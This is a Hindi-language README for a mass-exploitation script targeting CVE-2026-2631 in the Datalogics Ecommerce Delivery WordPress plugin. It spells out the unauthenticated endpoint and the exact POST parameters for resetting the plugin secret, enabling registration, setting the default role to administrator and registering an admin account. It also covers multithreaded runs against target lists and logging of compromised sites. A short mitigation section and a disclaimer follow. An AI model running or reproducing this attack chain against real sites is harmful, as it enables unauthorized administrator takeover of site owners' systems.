CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - बिना प्रमाणीकरण के विशेषाधिकार वृद्धि

💥 CVE-2026-2631 – Datalogics Ecommerce Delivery (WordPress) – बिना प्रमाणीकरण के विशेषाधिकार वृद्धि

PoC / शोषण स्क्रिप्ट: CVE-2026-2631.py
लेखक: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
संपर्क: टेलीग्राम: @Kxploit

🧬 भेद्यता अवलोकन

• प्लगइन: Datalogics Ecommerce Delivery – Datalogics (WordPress)
• प्रभावित संस्करण: < 2.6.60 (2.6.60 को छोड़कर)
• भेद्यता प्रकार: बिना प्रमाणीकरण के विशेषाधिकार वृद्धि
• CVE: CVE-2026-2631
• CVSS v3.1: 9.8 (Critical)
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• सार्वजनिक रूप से प्रकाशित: 12 मार्च, 2026
• अंतिम अपडेट: 19 मार्च, 2026
• शोधकर्ता: Khaled Alenazi (Nxploited)

Datalogics Ecommerce Delivery – Datalogics प्लगइन एक बिना प्रमाणीकरण वाला एंडपॉइंट उजागर करता है:

/wp-json/gsf/v1/update-options

यह स्क्रिप्ट उस एंडपॉइंट का दुरुपयोग करके:

1. 💣 कमजोर resetStoreConfigrations एक्शन का उपयोग करके आंतरिक shop_secret कुंजी रीसेट करती है।
2. 🔓 उपयोगकर्ता पंजीकरण सक्षम करती है: users_can_register = 1।
3. 👑 डिफ़ॉल्ट नए उपयोगकर्ता की भूमिका administrator सेट करती है: default_role = administrator।
4. 🧑‍💻 WordPress पंजीकरण फॉर्म के माध्यम से स्वतः एक नया उपयोगकर्ता पंजीकृत करती है:
   • wp-login.php?action=register

सफल होने पर, पंजीकरण फॉर्म के माध्यम से बनाया गया कोई भी नया उपयोगकर्ता एक व्यवस्थापक होगा।

⚙️ विशेषताएँ

• ✅ कई WordPress लक्ष्यों (एक फ़ाइल से) के विरुद्ध सामूहिक शोषण।
• ✅ बिना प्रमाणीकरण (कोई लॉगिन/कुकीज़ आवश्यक नहीं)।
• ✅ कमजोर REST एंडपॉइंट के माध्यम से स्वचालित shop_secret रीसेट।
• ✅ स्वचालित WordPress विकल्प अपडेट:
  • users_can_register = 1
  • default_role = administrator
• ✅ कस्टम क्रेडेंशियल्स के साथ स्वचालित खाता पंजीकरण।
• ✅ rich का उपयोग करके समृद्ध TUI आउटपुट (रंगीन और लाइव-अपडेट होने वाली तालिका)।
• ✅ समायोज्य थ्रेड गणना के साथ मल्टीथ्रेडेड।
• ✅ Login_admin.txt में परिणाम लॉगिंग।

📦 आवश्यकताएँ

🐍 रनटाइम

• Python 3.x (अनुशंसित 3.8+)

📚 Python पैकेज

आवश्यक पैकेज इंस्टॉल करें:

pip install -r requirements.txt

उदाहरण requirements.txt:

requests
rich
urllib3

या मैन्युअल रूप से इंस्टॉल करें:

pip install requests rich urllib3

🧪 स्क्रिप्ट लॉजिक (उच्च-स्तरीय प्रवाह)

प्रत्येक लक्ष्य के लिए:

1. URL सामान्यीकरण

   • यदि अनुपस्थित है तो http:// जोड़ता है।
   • अंतिम स्लैश हटाता है।

2. shop_secret रीसेट करें

   • एंडपॉइंट:
     /wp-json/gsf/v1/update-options
   • POST डेटा:
     • action = resetStoreConfigrations
     • shop_secret = <new_secret>
   • प्रतिक्रिया टेक्स्ट खोजता है:
     • app secret key has been updated successfully

3. WordPress विकल्प अपडेट करें

   • वही एंडपॉइंट, इसके साथ:
     • action = createUpdateOption
   • दो विकल्प अपडेट:
     1. option_key = users_can_register, option_value = 1
     2. option_key = default_role,

🧵 मल्टीथ्रेडिंग मॉडल

• list.txt (या कस्टम फ़ाइल) से सभी लक्ष्य पढ़ता है।
• chunkify का उपयोग करके लक्ष्यों को N हिस्सों में विभाजित करता है।
• N वर्कर थ्रेड लॉन्च करता है, प्रत्येक लक्ष्यों की अपनी सूची संसाधित करता है।
• प्रिंटर थ्रेड को स्टेटस संदेशों के लिए एक साझा Queue का उपयोग करता है।
• एक समर्पित प्रिंटर थ्रेड (printer_loop) लाइव rich तालिका अपडेट करता है:
  • इंडेक्स, साइट, स्थिति (SUCCESS/FAILED/ERROR) और विवरण दिखाता है।
  • कुल संसाधित और आउटपुट फ़ाइल नाम प्रदर्शित करता है।

🚀 उपयोग

1️⃣ बेसिक रन

python3 CVE-2026-2631.py

आपसे इंटरैक्टिव रूप से निम्न के लिए पूछा जाएगा:

1. लक्ष्य फ़ाइल

   • संकेत: Targets file (one host/URL per line) [list.txt]:
   • डिफ़ॉल्ट: list.txt
   • प्रत्येक पंक्ति: डोमेन या पूर्ण URL
     • उदाहरण:
       • victim.com
       • https://target-site.com
       • http://example.org/blog

2. थ्रेड्स

   • संकेत: Threads (1-50) [10]:
   • डिफ़ॉल्ट: 10
   • अधिकतम: 50
     अधिक थ्रेड्स = तेज़, लेकिन आपके सिस्टम और लक्ष्यों पर अधिक लोड।

3. shop_secret मान

   • संकेत: shop_secret [Nxploited_newSecret]:
   • डिफ़ॉल्ट: Nxploited_newSecret
     यह resetStoreConfigrations को भेजी गई नई सीक्रेट कुंजी है।

ये क्रेडेंशियल्स प्रत्येक कमजोर लक्ष्य पर पंजीकरण प्रयास के लिए उपयोग किए जाएंगे।

2️⃣ लक्ष्य फ़ाइल प्रारूप

list.txt (या कोई भी फ़ाइल जो आप चाहें) बनाएं जिसमें प्रति पंक्ति एक लक्ष्य हो:

example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org

स्क्रिप्ट यह करेगी:

• यदि अनुपस्थित है तो स्वतः http:// जोड़ेगी।
• अंतिम / हटाएगी।

3️⃣ आउटपुट और परिणाम

• सभी सफल ऑपरेशन (भले ही उपयोगकर्ता पंजीकरण विफल हो जाए लेकिन विकल्प सेट हो जाएं) इसमें लिखे जाते हैं:

  Login_admin.txt

• एक विशिष्ट पंक्ति:

  root@kitploit:~

  http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
  

• लाइव तालिका में स्थिति के उदाहरण:

  • ✅ SUCCESS – विकल्प सेट और/या उपयोगकर्ता पंजीकृत।
  • ❌ FAILED – रीसेट/विकल्प विफल, भेद्यता शोषण योग्य नहीं।
  • ⚠️ ERROR – अपवाद, नेटवर्क त्रुटियाँ, टाइमआउट आदि।

🧱 HTTP एंडपॉइंट्स और पैरामीटर

🔓 कमजोर REST एंडपॉइंट

POST /wp-json/gsf/v1/update-options

1. shop_secret रीसेट करें

action=resetStoreConfigrations
shop_secret=<new_secret>

2. विकल्प अपडेट करें

action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1

action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator

🧑‍💻 पंजीकरण एंडपॉइंट

GET/POST /wp-login.php?action=register

स्क्रिप्ट:

• यदि मौजूद है तो _wpnonce निकालती है।
• दिए गए उपयोगकर्ता नाम, ईमेल और पासवर्ड (यदि फ़ील्ड मौजूद हैं) के साथ पंजीकरण डेटा भेजती है।

🔧 स्क्रिप्ट इंटरनल्स (मुख्य फ़ंक्शन)

• normalize_site(raw: str) -> str
  लक्ष्य URL को सामान्यीकृत करता है।

• send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
resetStoreConfigrations एक्शन का प्रयास करता है।

• send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
  कमजोर एंडपॉइंट के माध्यम से WordPress विकल्प सेट करता है।

• check_registration_open(site: str, timeout: int = 10) -> (bool, str)
  जाँचता है कि पंजीकरण खुला है और फॉर्म सुलभ है या नहीं।

• try_register_user(...) -> (bool, str)
  दिए गए उपयोगकर्ता को पंजीकृत करने का प्रयास करता है।

• write_success_line(site: str, secret: str, detail: str)
  सफलता विवरण को Login_admin.txt में लॉग करता है।

• worker(...)
  प्रति-थ्रेड वर्कर जो:

  1. रीसेट करता है

🧪 उदाहरण रन (इंटरैक्टिव)

$ python3 CVE-2026-2631.py

[Banner / ASCII Art]

Targets file (one host/URL per line) [list.txt]:
> list.txt

Threads (1-50) [10]:
> 20

shop_secret [Nxploited_newSecret]:
> NxSecret2026!

Registration username [Nx_test1]:
> admin_nx

Registration email [[email protected]]:
> [email protected]

Registration password [Nx_adminSA]:
> SuperStrongP@ss!

[Live table starts showing each target’s status]
Processed 5/20 targets · Output: Login_admin.txt

Done. Successful sites (if any) saved to Login_admin.txt.

🛡️ शमन और अनुशंसाएँ

रक्षकों / साइट मालिकों के लिए:

• 🔁 प्लगइन को तुरंत संस्करण 2.6.60 या बाद के में अपडेट करें।
• 🧹 समीक्षा करें:
  • अज्ञात प्रशासकों के लिए WordPress उपयोगकर्ता सूची।
  • wp_users में हाल के पंजीकरण।
• 🔑 प्लगइन द्वारा उपयोग किए जाने वाले किसी भी सीक्रेट या कुंजी को पुनः उत्पन्न करें।
• 📜 इन पर हिट्स के लिए एक्सेस लॉग का निरीक्षण करें:
  • /wp-json/gsf/v1/update-options
  • /wp-login.php?action=register
• 🧱 संवेदनशील REST एंडपॉइंट्स तक अनधिकृत पहुंच को रोकने के लिए WAF नियमों पर विचार करें।

⚠️ कानूनी अस्वीकरण

यह स्क्रिप्ट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान की गई है।

• आपको मालिक की स्पष्ट लिखित अनुमति के बिना किसी भी सिस्टम, एप्लिकेशन या नेटवर्क पर इस टूल का उपयोग नहीं करना चाहिए।
• अनधिकृत पहुंच, शोषण, या भेद्यताओं का दुरुपयोग अवैध है और इसके परिणामस्वरूप आपराधिक आरोप लग सकते हैं।
• इस स्क्रिप्ट के लेखक (Khaled Alenazi – Nxploited), योगदानकर्ता और वितरक:
  • ❌ किसी भी चीज़ के लिए जिम्मेदारी या दायित्व नहीं मानते हैं:
    • इस कोड के दुरुपयोग के लिए
    • प्रत्यक्ष या अप्रत्यक्ष रूप से हुई क्षति के लिए
    • इसके उपयोग से उत्पन्न किसी भी कानूनी परिणाम के लिए
• इस स्क्रिप्ट का उपयोग करके, आप सहमत हैं कि:
  • आप अपने कार्यों के लिए पूरी तरह जिम्मेदार हैं।
  • आप सभी लागू स्थानीय, राष्ट्रीय और अंतर्राष्ट्रीय कानूनों और विनियमों का पालन करेंगे।
  • आप इस टूल का उपयोग केवल नियंत्रित वातावरण में और/या उचित प्राधिकरण (PT/Red Team, बग बाउंटी, लैब आदि) के साथ करेंगे।

यदि आप इन शर्तों से सहमत नहीं हैं, तो इस स्क्रिप्ट का उपयोग न करें।

❤️ क्रेडिट्स

• शोध और शोषण:
  • Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
• CVE: CVE-2026-2631
• संपर्क: टेलीग्राम पर @Kxploit

सुरक्षित रहें, जिम्मेदारी से हैक करें। 🕶️💻